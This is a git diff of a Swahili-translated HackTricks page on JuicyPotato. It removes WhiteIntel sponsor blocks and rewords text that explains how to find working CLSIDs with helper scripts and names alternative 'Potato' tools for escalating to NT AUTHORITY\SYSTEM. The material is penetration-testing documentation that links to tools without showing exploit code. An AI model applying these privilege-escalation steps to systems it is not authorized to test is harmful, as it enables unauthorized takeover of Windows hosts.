Pakua [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) na uipakie kwenye kikao chako cha PS, na pakua na uendeshe [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Skripti hiyo itaunda orodha ya CLSIDs zinazowezekana za kujaribu.
|
||||
Pakua [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) na upakue kwenye kikao chako cha PS, na pakua na tekeleza [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Skripti hiyo itaunda orodha ya CLSIDs zinazowezekana za kujaribu.
|
||||
|
||||
Kisha pakua [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(badilisha njia ya orodha ya CLSID na kwa executable ya juicypotato) na uendeshe. Itaanza kujaribu kila CLSID, na **wakati nambari ya bandari inabadilika, itamaanisha kwamba CLSID ilifanya kazi**.
|
||||
Kisha pakua [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(badilisha njia ya orodha ya CLSID na kwa executable ya juicypotato) na uitekeleze. Itaanza kujaribu kila CLSID, na **wakati nambari ya bandari inabadilika, itamaanisha kwamba CLSID ilifanya kazi**.
|
||||
|
||||
**Angalia** CLSIDs zinazofanya kazi **ukitumia parameter -c**
|
||||
|
||||
|
|
@ -152,17 +138,6 @@ Kisha pakua [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/
|
|||
|
||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -15,22 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni **injini ya utafutaji** inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **kompromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato haitumiki** kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** zinaweza kutumika ili **kuongeza haki sawa na kupata ufikiaji wa kiwango cha `NT AUTHORITY\SYSTEM`**. Hii [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) inaelezea kwa undani kuhusu zana ya `PrintSpoofer`, ambayo inaweza kutumika kuboresha haki za uigaji kwenye Windows 10 na Server 2019 ambapo JuicyPotato haitumiki tena.
|
||||
**JuicyPotato haitumiki** kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** zinaweza kutumika **kuongeza mamlaka sawa na kupata `NT AUTHORITY\SYSTEM`** kiwango cha ufikiaji. Hii [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) inaelezea kwa undani kuhusu zana ya `PrintSpoofer`, ambayo inaweza kutumika kutumia mamlaka ya uigaji kwenye Windows 10 na Server 2019 ambapo JuicyPotato haitumiki tena.
|
||||
{% endhint %}
|
||||
|
||||
## Quick Demo
|
||||
|
|
@ -117,17 +103,6 @@ nt authority\system
|
|||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -139,7 +114,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
Loading…
Reference in a new issue